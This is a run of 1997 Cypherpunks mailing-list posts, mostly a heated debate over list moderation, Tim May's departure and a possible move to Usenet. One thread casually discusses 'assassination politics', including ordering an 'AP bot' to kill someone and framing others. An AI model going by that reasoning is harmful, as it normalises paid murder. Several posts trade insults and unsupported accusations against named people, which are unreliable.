I don't like being associated with Usenet. It is seen as an international bulletin board. Many people believe that it is "public" space and should be subject to zoning. I like the idea of keeping the cypherpunks list "private". I like being able to say "if what's on the list upsets you so much, why did you subscribe?" This is more effective than "so tell your child not look at Usenet". I don't like the whole Usenet cabal and all of the voting to decide which lists to canonize. Less of an issue with alt.cypherpunks, but the association is still there. Peter Hendrickson ph at netcom.com From pdh at best.com Mon Feb 3 23:39:26 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 23:39:26 -0800 (PST) Subject: Dissolving Choke Points Message-ID: At 7:59 PM 2/3/1997, Greg Broiles wrote: >At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: >> Moderation has been a failure. I'm pretty good at filtering and I >> can sadly report that there is very little signal out there. > I don't think it's reasonable to expect an increase in signal within 2 1/2 > weeks of the start of moderation. What I have seen is a pretty complete elimination of the signal that was there. Some might argue that this is "just" because Tim stopped posting. But so what? The result of moderation was the elimination of signal. (Aside: Can anybody think of five members of the list whose combined contributions clearly exceed Tim's? I can't.) Also, I am curious when you expect the benefits of moderation to arrive. Two and a half weeks should be plenty of time for a reasoned creative and interesting discussion to develop. It hasn't happened. Instead the value of the list has - in my view - steadily tapered off since the announcement of moderation. >> There are lessons to be learned here. One is that censorship does >> not promote a stimulating and creative dialogue. > No, that is a silly lesson to draw from this experiment. There are > lots of useful and interesting "moderated" (on paper, it's called > "editing") publications/lists/digests where the content is > intentionally controlled for content and style. And in practice people get their friends published. Ever wonder why Denning got so much bandwidth on the RISKS list when she had so little to say? I don't like edited journals, either. I prefer to have somebody I respect say "Did you see so-and-so's paper? Here's the URL." Most of what is in, for instance, peer reviewed scientific journals is fluff designed to enhance somebody's resume. Moderation was a good idea when you had a number of people who couldn't all talk at once in the same room and in which a disruptive influence could not be easily ignored. We have better ways to communicate now. Let's use them. Peter Hendrickson pdh at best.com From dthorn at gte.net Tue Feb 4 00:12:15 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 00:12:15 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702031632.LAA10670@mail.bcpl.lib.md.us> Message-ID: <32F641E3.6783@gte.net> tmcghan at gill-simpson.com wrote: > in a message allegedly from: "Timothy C. May" > > the really important issue is this: is the _physical hosting_ of the > > Cypherpunks mailing list coterminous with the "Cypherpunks"? > { much thoughtful and well-phrased commentary elided } > > I would have had no problem had John announced that he was creating > > a new list, the "Good Stuff" list, with Sandy has his Chooser of > > Good Stuff. But by making the _main list_ the censored one, this > > skewed things considerably. > Now that the horse is out of the barn, ( or maybe not? ), I can't help > but ask whether one specific 'change to the change' would have > satisfied most of your objections: retaining 'cypherpunks' as the > name of the unedited, all-the-crud-you-can-read-and-then-some, > version, and adding an 'cp-worthwhile' list for those of us who prefer > not to wade thru mountains of garbage to glean a few precious tidbits. > What's in a name? Is perception more important ( to you ) than > reality? If just swapping names between cp and cp-unedited would make > such a large difference, I humbly suggest to you that you consider how > much labels need to matter. Is the title of the group more important > the the content? From where I sit, this looks a lot like a > style-over-substance complaint. Of course, I don't have my trifocals > on just at the moment. If it did not suit a specific purpose, they wouldn't have done it that way. You can take it to the bank that they did this because it was the only way to keep the 1300-plus sheep subscribed to what they wanted to be their "main" list. From dthorn at gte.net Tue Feb 4 00:12:27 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 00:12:27 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <8N3k2D1w165w@bwalk.dm.com> Message-ID: <32F6EEFC.3706@gte.net> Dr.Dimitri Vulis KOTM wrote: > ichudov at algebra.com (Igor Chudov @ home) writes: > > Adam Back wrote: > > > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As > > > an aside, it is ironic that John Gilmore was the guy who started the > > > alt.* USENET hierarchy, specifically to facilitate freedom of speech). > > An interesting idea. What's also interesting is Tim May posting after a long "absence", and in his post he repeats virtually sentence-for-sentence what a handful of people have been saying here for the past month. From dthorn at gte.net Tue Feb 4 00:20:29 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 00:20:29 -0800 (PST) Subject: Voting on Moderation [was: Dissolving Choke Points] In-Reply-To: <199702032118.PAA05476@wire.insync.net> Message-ID: <32F6F104.24B9@gte.net> Eric Cordian wrote: > Peter Hendrickson writes: > > Moderation has been a failure. I'm pretty good at filtering and I > > can sadly report that there is very little signal out there. > The quality of the Cypherpunks list is determined solely by the > amount of signal. The amount of noise is irrelevant. [snip] > Now that we have moderation, I can't do this while subscribed to the > main list, and have to live in eternal fear that I am writing for > an audience of 20 every time I respond to something on the unedited > list. Foo on that. I wonder how Sandy will take the vote on continuing or abandoning the moderation experiment? In most states, one juror out of 12 can kill a conviction. In a revolution such as U.S. 1776, only a tiny percent of the people supported the revolution. Will Sandy go with a majority decision (pure democratic), or allow the moderation to go away if a significant minority wants to kill it? From paul at fatmans.demon.co.uk Tue Feb 4 00:24:39 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 4 Feb 1997 00:24:39 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <855044578.918617.0@fatmans.demon.co.uk> > This is Tim's first error of fact. I point it out not to insult > him, but because it seriously affects much of the rest of his > analysis. We are conducting an experiment. It will last one > month. After that, it's over if list members want it to be over. > If, on the other hand, moderation is seen by the list members as > beneficial to their use and enjoyment of the list, the current > form of moderation--or some variation will continue. How will you allow list members to decide? - Here presumably we have a self proclaimed anarchist in favour of direct democracy. And if the subscribers can call off this "experiment" it seems rather out of place that they did not institute it in the first place. > > With no false modesty I tried awfully hard to compose substantive > > essays on crypto-political topics, often more than one per day. > > I would hope that Tim will return to this practice irrespective > of whether the list remains moderated or returns to its previous > policies. More on this, below. You genuinely expect a thoughtful writer and intelligent author of posts to allow you to approve them or otherwise for general release? > > (Others did too, but they seem to be tapering off as well, leaving the list > > to be dominated by something called a "Toto," the "O.J. was framed!" > > ravings of Dale Thorn, the love letters between Vulis and someone name > > Nurdane Oksas,... > > Two points: Since Tim largely agrees with those in opposition to > moderation, and because of the extraordinary nature of Tim's post, > I did not send it to the "flames" list. It was a judgment call. Why? - I saw nothing whatsoever in Tim`s post that would make it a "judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor. The real reason it was a judegement call was because it was critical of Gilmore and yourself, in addition Tim`s points where too subtle and deep for you to respond to without resorting to sophistry. The reason on the other hand you did choose to post it to the censored list was because you realised this and could not get away with junking it to the flames list without incurring criticism. > The problems Tim describes, did not arise with moderation. > Indeed, they were the imputus for the moderation. Sophistry once again. I shall not even bother to explore in more detail this issue as any intelligent reader can, even at face value, see this to be a falacious argument. > > Second, the list was consumed with > > flames about this, many from Vulis, and many from others. > > It was consumed with flames before. Now, at least, the vast > majority of folks on the list don't have to read them, nor jump > through any hoops to implement some sort of dynamic filtering > half-measure. Three questions: 1. How do you see filtering to be a "half measure" 2. What hoops? - if you count implementing a simple filtering measure to be "jumping through hoops" how do you consider that readers of the list do not have to "jump through hoops" to subscribe to the uncensored list. 3. What makes you think that your subjective and evidently self serving method of moderation is any better than keyword filtering. > What didn't work was "local filtering" which has no feed-back > loop to engender comity. This might not work either, but I see > no evidence that it has made things worse. Remember, there are a > hand-full of subscribers to the Flames list, 20-30 on the > Unedited list and *2000* or so on the Moderated list. Sure some > of that may be due to laziness, but it would be cavalier in the > extreme to claim that such an overwhelming acceptance of > moderation is merely an artifact of inertia. Cavalier? - I`ll bet you anything you like if you had set up a new list for the censored articles and left cypherpunks at toad.com as an uncensored list you would have seen the same results, that 2000 or so would have remained where they were instead of trying to "unimbibe", and a hardcore of 20 to 30 subscribers would have consciously taken the decision to move to the censored list. As we seem to be in "experiment" mood on the cypherpunks list at the moment I challenge you now to re-configure the list as stated above. The we shall see whose viewpoint is "cavalier" > But to make things perfectly clear one more time, ANYONE WHO > WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO > "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES." See above argument, the flock stay together. In addition other list members are lazy, stupid, ignorant etc. And cannot/will not subscribe to the uncensored list. > But let's apply Tim's above definition for the sake of argument. > Am I, thereby, a censor? Well I am examining "other material" > and I am making judgments with regard to whether or not it is > "objectionable," unfortunately for Tim's argument, I am neither > "removing" nor "supressing" anything. Anybody can read anything > that gets posted to Cypherpunks--in two places. I am sorting, > but even my sorting can be completely avoided. Waffle. There is a suprising profundity of waffle in this post considering it is supposed to be refuting some very subtle and eloquently stated arguments by Tim. The fact is you are a censor, you are deciding what is seen on the "main" cypherpunks list, you send any comments on your form of censorship, apart from compliments, to the "flames" list in order to protect yourself and John Gilmore. > Very possibly true. Moderation is like crypto, perfection isn't > and option. However, a 90% solution is a heck of a lot better > than no solution at all. Yes, I've made what I consider to be > errors, but I think on some, I've done a very good job overall. > > > * (Frankly, one of my considerations in leaving was the feeling that I > > would never know if an essay I'd spent hours composing would be rejected by > > Sandy for whatever reasons.... > > Tim, I think this is disingenuous. I have been quite clear on > my moderation criteria. You are too intelligent to feign such > a lack of understanding. Not at all, Even if you had been clear (and let me make it clear that I do not believe you have been) you still would not objectively follow those guidelines you had set for yourself. Your censorship is subjective and unethical. However, I am deviating from the point as I happen to be arguing from an anti-censorship point of view whoever were carrying out said censorship. > > * The decision to "moderate" (censor) the Cypherpunks list is powerful > > ammunition to give to our opponents, > > Piffle. Letting spoiled children destroy the list puts a far > more powerful weapon in the hands of our enemies. Piffle, showing that even an anarchic list "requires" censorship is the best ammunition we could have given them. We are better off without a cypherpunks list at all than we are playing into the hands of those who oppose us. > > and Vulis is certainly gleeful that > > his fondest wishes have been realized. > > I do not have a crystal ball. My Vulcan mind meld is in the > shop. No one--neither Tim, nor I, nor probably even Vulis--knows > whether he is gleeful about all this or not. And frankly, who cares? > The question is, are list members happy or not with moderation. > Tim was not. I am. By the end of the experiment, I dare say we > will have a good idea what most list members think. We already have a good idea what they think if we care to look at the flames list where all their relevant comments are junked to. Besides which you are not answering the question here, just picking a random point to put forward an argument you wanted to. > as far as moderating political rants go, I'm agnostic. You mis-spelled self-serving. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From stewarts at ix.netcom.com Tue Feb 4 00:25:43 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 4 Feb 1997 00:25:43 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: <199702040426.UAA13731@toad.com> Message-ID: <3.0.1.32.19970203225806.00600760@popd.ix.netcom.com> At 07:59 PM 2/3/97 -0800, Greg Broiles wrote: >If the list is going to turn into Usenet (we've already got most of >Usenet's better kooks), we might as well just move the >damn thing over to alt.cypherpunks and be done with it. >(Anyone care to guess who founded alt.* as a way to route around >censorship?) The big argument against going to a newsgroup in the past was that signal-to-noise would degrade to the point of alt.2600ness due to newbies, flamers, overflow to/from political ranting newsgroups, etc., and there's already a sci.crypt for that. The main argument in favor of moderation has been that the list has become unreadable due to newbies, flamers, political ranting, and directed attacks and maybe moderation would fix it, at the cost of annoying people who don't like moderation (which is realistically most of us; two practical reasons not to have moderation are that the volume is too high for most people to be willing to moderate, and that the delays inherent in the moderation process reduce the interactivity that's been one of the valuable things about this list.) I'd prefer that we all just get along, but things really were getting uncivil. An advantage of Usenet is the ability to deploy whatever NoCeM is called these days as a way to let people avoid spammers. Personally, I'd switched to the fcpunx filtered list a couple months ago, mainly to cut down on volume but also because I was getting fed up with Vulis's attacks through remailers, which were getting to be too much trouble to filter out. I switched back to the main list after the moderation announcement, with Eudora filters to make some discussions and some people go away. Of course, there have been several different demonstrations of ways around the moderation since then. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Tue Feb 4 00:29:24 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 00:29:24 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <199702030241.UAA25010@manifold.algebra.com> Message-ID: <32F6F314.6E28@gte.net> Igor Chudov @ home wrote: > Dale Thorn wrote: > > Igor Chudov @ home wrote: [some arguments deleted for lack of time to reply] > > > Another story: suppose that OKSAS hired me to work for her, but then > > > our relationships go south and she fires me. Again, her fate is very > > > unclear, although I would probably spare her life if it were she. > > If she does it right, with empathy, there is not likely to be a > > problem. On the other hand, if she bad-mouths you to prospective > > employers or customers you want to do business with, you might be > > inclined to hit her. This happens a lot when AP is not available. > ... But would happen more often if it was. Why, if AP was readily available, would she want to risk being hit by bad-mouthing you unnecessarily? > > people who have such money are not going to bump off very many more > > people than they already do, because: > > 1. They need the people to make money off of (Mafia rule #4, never > > kill someone who owes you money [or is a money source]). > This is a wrong Mafia rule, they do kill debtors who are in default. Really? Then how do they collect their money? BTW, I heard the rule from the mouth of a real mob hitman. > > 2. Rich people have a lot of eyes on them, and it would be easy to > > triangulate a series of murders to them, even without hard evidence. > > In an AP world, this triangulation/correlation would be enough to > > convince people to either shun this killer, or kill him outright. > When ten people make deals with each other, it becomes hard to > triangulate. And it is easy, if you know what deals are done, to change > the result of triangulation: suppose that I know that you borrowed 1 > million from Toto, that my _and_ yours business partner had been > murdered (by me, but no one knows), and I am afraid that someone will > triangulate me and implicate me in that murder. I secretly order > the AP bot to kill Toto, and you get implicated. Not good. We all know how people are framed, and we've seen the Hitchcockian murder scenarios on TV, in movies, etc. Certainly the CIA et al can create these scenarios, but what does that have to do with AP as used by ordinary persons? From paul at fatmans.demon.co.uk Tue Feb 4 00:34:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 4 Feb 1997 00:34:58 -0800 (PST) Subject: About: My Departure, Moderation, and "Ownership of the List Message-ID: <855044577.918616.0@fatmans.demon.co.uk> > For what it's worth, I think that this Tim May, not being a > user of the list, has no place to talk. His type, to me, > characterate those who quit something and complain later, > knowing that some people will listen to them. Tim May has been one of the most intelligent, eloquent and on-topic posters to this list in it`s entire history... Who the hell are you? I would respond to your post with reasoned and logical argument but I cannot find one substantive point in it that is worthy of comment. I will muddle through as best I can anyway: One easy jibe here is you don`t know how to spell characterise, maybe you would be better off unimbibing? > So what, if he decided to leave? It was his own choice > and he can't just come back and say everyone who stayed is > now impelled to listen to him, just because he used to > do a bunch of posts. I don't think that hardly any of > you would listened to me later if I left the list. No-one knows who you are nor do we care, you have not accumulated any reputation capital nor are you likely to with posts like this. Tim tried to cover in as much depth as possible without resorting to verbosity the points he felt were important and worthy of discussion regarding the censorship of the list and other associated issues. You were not impelled to read his post nor to reply to it with a content-free rant as you did. If you felt "impelled" to read a post simply because it was on a screen in front of you you clearly do not understand even the rudiments of anarchism. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From dthorn at gte.net Tue Feb 4 01:00:13 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 01:00:13 -0800 (PST) Subject: Trigger-Words...Trigger-Fingers In-Reply-To: <199702021555.HAA25437@toad.com> Message-ID: <32F6FA51.7D5D@gte.net> Larry Johnson wrote: > Cynthia H. Brown wrote: [snippo] > Theres not many girls on this list, is there? [mo' snippo] > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls > on my list and they think its real cool and they all want to marry > technicians so that they can make them work on the computers for them, > kind of like making them do the computer dishes, you know. [yet mo' snippo] I want to get married. Lots of times. Are the girls cute? I don't do hardware, tho, I'm a software guy. From dthorn at gte.net Tue Feb 4 01:11:54 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 01:11:54 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: <32F6FD0C.5D98@gte.net> Scott V. McGuire wrote: > (Even within the community, some people are more a part of > it than others, and nobody is more a part of it then Tim.) Is this like saying "some of the pigs were more equal than the others"? From dthorn at gte.net Tue Feb 4 01:19:32 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 01:19:32 -0800 (PST) Subject: New X-Ray Imager In-Reply-To: Message-ID: <32F6FED6.3A5F@gte.net> Steve Schear wrote: > New X-ray gun trades privacy for safety > Reported by Andy C > Seen in The Nando Times on 13 August 1996 > "I'm incredibly concerned," said John Henry Hingson, a past president of the > National Association of Criminal Defense Lawyers, meeting here this past > week. "The entire nation could become a victim of illegal searches and > seizures and the law is powerless to protect them from these police abuses." > But in these nervous times following the the crash of TWA Fight 800 and > bombings at the Olympics, Oklahoma City and the World Trade Center, many > Americans are now willing to trade some of their privacy and civil liberties > for greater security. > A poll last week by the Los Angeles Times found that a majority of people -- > 58 percent -- said they would curtail some civil liberties if it would help > thwart terrorism. Thirteen percent said it would depend on what rights were > at stake. The poll didn't ask people to single out any rights. The L.A. Times quotes this "poll" all the time, and in fact probably just made it up. Why do I know that? Because they ran a "letter" from a "teacher" in the valley somewhere about a year ago which said exactly this same thing. The "teacher" ran a poll of her students and they agreed to give up the rights without even knowing which rights they were giving up. From dthorn at gte.net Tue Feb 4 01:23:23 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 01:23:23 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702031455.GAA25476@toad.com> Message-ID: <32F6FFBF.115@gte.net> Timothy C. May wrote: > At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote: > >(1) I agree with Tim that as a matter of principle, it would be preferable > >to create a new moderated list, with a similar but distinguishable name, > >and leave the existing list as it was. I happen to think less turns on > This is a point of view many of the most thoughtful commenters seem to > agree on, isn't it? One would have thought that had Sandy and John really > been interested in hearing the views of list members, this approach would > have eventually won out. Once again, the reason John and Sandy weren't interested was because the main proponents of this point of view for a long time were me, Dr. Vulis, and Toto. Tim and others were either supportive of Sandy or were silent. From woody at hi.net Tue Feb 4 02:11:10 1997 From: woody at hi.net (Howard W Campbell) Date: Tue, 4 Feb 1997 02:11:10 -0800 (PST) Subject: No Subject Message-ID: <32F70B0F.63DF@hi.net> �subscribe cypherpunks at toad.com From gbroiles at netbox.com Tue Feb 4 02:28:46 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 4 Feb 1997 02:28:46 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: <199702040426.UAA13731@toad.com> Message-ID: <3.0.1.32.19970204021403.0071f6f8@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:58 PM 2/3/97 -0800, Bill Stewart wrote: >An advantage of Usenet is the ability to deploy whatever NoCeM is >called these days as a way to let people avoid spammers. My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother with the list if it were moved to (or gated with) Usenet, as Usenet has become for the most part 100+ Mb/day of uselessness. But my impression is that many moderation opponents would also be opponents of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many people claim we must have for the list to be viable, e.g., uncontrolled/uncontrollable distribution and messaging. So I'm curious about whether or not the proponents of an open, uncontrolled list really want it to be *that* open and uncontrolled. In the past, there's been strong opposition to that. But it's possible that most of the people who had strong feelings about not wanting to be subjected to the downside of Usenet have already left the list. (And if the current opponents of moderation don't want to see the list be quite that open, I think what we're arguing about here is not "censorship v. no censorship" but "what degree of censorship do we want? one lump, or two?", which pretty much eliminates anyone's claim to have a moral high ground from which to argue.) There's really nothing stopping anyone from just setting up a gateway. The list is already gated one-way to Usenet; it shows up many places as mail.cypherpunks. What's missing is a gateway running the other direction; from looking at the headers as messages are received at my ISP (io.com), toad.com is already in the Path: line, so preventing backfeeding shouldn't be a problem. (Doh, it's been a few years since I fussed with mail-to-news and back again, but this isn't rocket science.) The good side I see to a move to Usenet is that it lets people use the comparatively better tools for managing messages - e.g., NoCeM, threading, nn (whose killfiles will kill by thread, author, regexp, and can be time limited so you can easily give annoying people a 30-day 'timeout' and see if they're still a kook later on), AltaVista and DejaNews archiving/searching, and server architecture that's designed to cope with storing/indexing many messages. The down side is that Usenet is more or less a sewer these days, and some of it's bound to spill over. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvcLpv37pMWUJFlhAQFTJgf/UAFESNbjEK2NRabq56We3PkF+sM7pwHU b7Gy/h6a+KusZECe3epIm9/ubvGiZJtVpkp1zTG/AqBJVkdRb9xyIwWpOXU9HUz+ gjzASY/x0Zwsy9AlCgAk0HSEL1bggFTgAjDPB8SSOaYuxP1czpmAAVHTZiNXioV5 AAsnCXLc0qLgXYZ6/3dQhtIznH41ciNhVgI4RhV9lfheCpIhxJJC0zlh7wX2QzMv VhPidpcCmKiCriULwvOJuIkt0SFLvIjxm18zBh6UIe/APgL6TDsr022DTB+S6G/b qgH1aO9xhZtu84I/+V/pOCyKGk+9qij94CwNumN+Hs/cZMybiaO4bQ== =YwhW -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From SButler at chemson.com Tue Feb 4 02:48:25 1997 From: SButler at chemson.com (Butler, Scott) Date: Tue, 4 Feb 1997 02:48:25 -0800 (PST) Subject: FW: concerning Ben Franklin Message-ID: Kent Crispin wrote: >Franklin said "A man owns an ass; he can vote. The >ass dies; he cannot vote. Who owns the vote?" Poor Timmy May must not be able to vote then, as surely his ass must have been "bashed" to death by now. Scott. REMEMBER: "Dreams are just Screen Savers for the brain" From gbroiles at netbox.com Tue Feb 4 03:07:54 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 4 Feb 1997 03:07:54 -0800 (PST) Subject: what's in a name? In-Reply-To: <199702040140.RAA09183@toad.com> Message-ID: <3.0.1.32.19970204031255.006f0b58@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 04:58 PM 2/3/97 -0800, Wei Dai wrote: >An interesting way to look at what happened is that John >Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise >that ownership. [...] >I suspect that the hierarchical nature of name ownership on the Internet >today will be an important technological barrier for the establishment of >truly anarchic virtual communities. Unless this problem is solved, the >closest we'll come is pseudo-anarchies that exist with the tolerance of >beneficent dictators. Wei Dai's message raises an important question: what is the relationship between ownership and list content or quality? Much of the pathology of the list in the past few months can be characterized as a "tragedy of the commons" problem, where several private actors are seeking to maximize the gain they can extract from a finite and commonly owned (or unownable) resource. The resource in this case is the "reputation capital" which has built up in the terms "cypherpunks" and "cypherpunks at toad.com". Dmitri Vulis' behavior, where he seeks to punish the list for failing to punish or ostracize Tim May after Tim was disrespectful to Vulis, is an attempt to achieve private gain (public retribution) at the expense of public goods (the continuing quality and good name of the list). Several authors have characterized John Gilmore and Sandy Sandfort's actions with respect to moderation and the list as an attempt to monopolize or appropriate the good name of the list for their own private purposes. (I do not think that the latter characterization is accurate, but it is at least popular.) I suspect that many people will see at least one "tragedy of the commons" problem related to the list. Some free-market economists have suggested that the solution to "tragedy of the commons" problems is private ownership - that where economic actors are given ownership over what might have been owned in common, that they will seek to maximize their long-term gain through careful management and will not adopt wasteful or harmful short-term strategies which would have otherwise seemed attractive. That view (that private ownership is likely to eliminate or at least minimize wasteful or nonoptimal use of resources) has historically been a popular one on the list. Yet private ownership of the list (or of the list's most concrete identity, the label "cypherpunks") seems wrong to many people. Are mailing lists an example of a situation where "the tragedy of the commons" is not a useful metaphor? Are mailing lists an example of "public goods" where private ownership is impossible, or should be avoided? If not, shouldn't we work towards more private ownership, not less? Is the desire for an anarchic community at odds with a desire for good use of resources? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvcZgv37pMWUJFlhAQEf6gf9FAPo+nF/h3ZAZTTzmZZLpj57xDvpcgKW oXCvalcY20s+ah26SFP5cInGSxgOy+UC5zxAeEz/Oo/M/5n1LVZTFVg7f3PORgJW VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew== =QFGr -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From lwjohnson at grill.sk.ca Tue Feb 4 03:34:01 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 03:34:01 -0800 (PST) Subject: Trigger-Words...Trigger-Fingers In-Reply-To: <199702021555.HAA25437@toad.com> Message-ID: <32F73B3A.70AE@grill.sk.ca> Dale Thorn wrote: > > Larry Johnson wrote: > > Cynthia H. Brown wrote: > [snippo] > > Theres not many girls on this list, is there? > [mo' snippo] > > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls > > on my list and they think its real cool and they all want to marry > > technicians so that they can make them work on the computers for them, > > kind of like making them do the computer dishes, you know. > [yet mo' snippo] > > I want to get married. Lots of times. Are the girls cute? > I don't do hardware, tho, I'm a software guy. Yeah their real cute, most of them anyway. Their all nice though. Some of them would like you cause they dont like regular guys, cause their troublemakers too. I know your a troublemaker (I think thats a good thing) because Ive read your stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he keeps the troublemakers but its not an insult because he likes what Kevin (hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole." He taght me how to read by using the Froggie manual since I could boot it myself when he was out of the rooom when I was two year old. Now he teachs me how to read with the cypherpunk messages and stuff from his govbernment friends. (Their good government guys though, they like you guys. Their really secret guys not lamer regualar secret guys. They laugh at those regular secret guys who screw with you guys cause they leave their pecker tracks all over the place.) Some people thik Im a lamer cause Im not good with grammer (not on the kids lists thogh) bu tmy uncle says Ill learn how to do that but Im better to learn how tho think first. Ive got dsylexia too so I use a spell checkerif I want to look smart but emailers dont have it. You guyhs should keep being troublemakers. Really. My uncle says that if you guys get too polite then you better watcvh your backs when you curtsy, cause you never know whos sneaking up behind you. He told me that if I watch you rmodernation that I wont have to have sex educaton laterer cause I'll already know how to get f*)&%ed. (Hes funny. His governmnt friends call him the fool becaise hes dumb like a fox.) Excuse my spelling but I spell things good once I see them in a dir cause myu uncle make s me look stuff up before I put it in a dir or he erases myu dir to make me learn. I think the girls would like you cause yuou are a computer guy. Ill show them your letter. Theeir smart, too. They dont like lamer guys. When their school computer guy messes up ecveyones stuff then they fix it but they dont tell him cause it makes him mad. Im not real good at 4reading code and stuff but the secret computer guys let me drink Scotch with them evcen in the bar at the Holiday In in Santafe cause Im smarter than them abou t som e stuff even if they are really good. (I go tm y uncles password on his secret machine by putting my video camera on the frige with a dead battery and pluging it into his power supply) (Now when he boots up he will getr Duke Nukem3D and when he leacves it he will get a message telling him hes a _lamer_.) He had to go to Lost Alamo again because of you guys and hell gibve me sh*&)( when he gets back but not too much cause he said I could do anything I want on his secret machine if I got on it. Im getting to play with Unix cause he has a Spark Card on it that has Unix on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper for kids) Some lamer said on cypherpunks today that it takes him an hour to get the pecker messages off his computer. My uncle has me to do it for him sometimes and it only take me like maybve two minutes. If the guy is such a lmaer that it take s hinm an hour then maybe he should just read only the pecker messages cause they have pictures and then when he mobes his lips to read then he coul d put them on the peckers. (Thats a joke) I like that Tim May is bacvk, if only even for a little while. When you guys fight at least you say stuff that isnt kissing ass for other guys money. Im going to make a message to cypherpunsk that says if anyone wants me to be their moderator then they should not write any messages to the cypherpunks. Then the 2000 people who dont post will be voting for me to be their moderator and I will be their boss. If Im the moderator then I will givbe everyone free pizz a and lots and lots of Scotch. (<--Dewars) I hope you guys stay together. My uncle says sometimes you learn by looking and sometimes you leran by seeing whos looking back. But he tells the secret gobvernmetn guys not to look back cause their might be a cypherpunk gaining on them. (Thats a joke) Ive got to go to bed so I can pretned to get up again. Im sick so I can do what I want bu t Im not supposed to stya up all night either. I wont let the door hit me in the ass on my wayout. Bye, Human Gus-Peter p.s. - dont write me after Thursday cause my dad will be back and Ill get in trouble. My uncle will help me clean u p my mess cause hes not a squealer. From boursy at earthlink.net Tue Feb 4 04:21:06 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Tue, 4 Feb 1997 04:21:06 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <8N3k2D1w165w@bwalk.dm.com> Message-ID: <32F72A82.1C42@earthlink.net> Dr.Dimitri Vulis KOTM wrote: > > ichudov at algebra.com (Igor Chudov @ home) writes: > >> Adam Back wrote: >> > >> > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As >> > an aside, it is ironic that John Gilmore was the guy who started the >> > alt.* USENET hierarchy, specifically to facilitate freedom of speech). >> > >> >> An interesting idea. > >John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for >other people's accomplishments. Well EFF itself is a lie--the were very well exposed by Wired Mag. a while back as being nothing more than a corporate whore. They represent the interests of owners not consumers--the ACLU has been very open in their critisism of the EFF in this regard. A large corporation waves some money in front of their noses and tells them to bend over you can be sure they'll bend over. Respectable free speech advocates do not associate with EFF. >He had nothing whatsoever to do with the creation of the alt.* Usenet >hierarchy. Gilmore is a liar and a censor. > Is Mr. 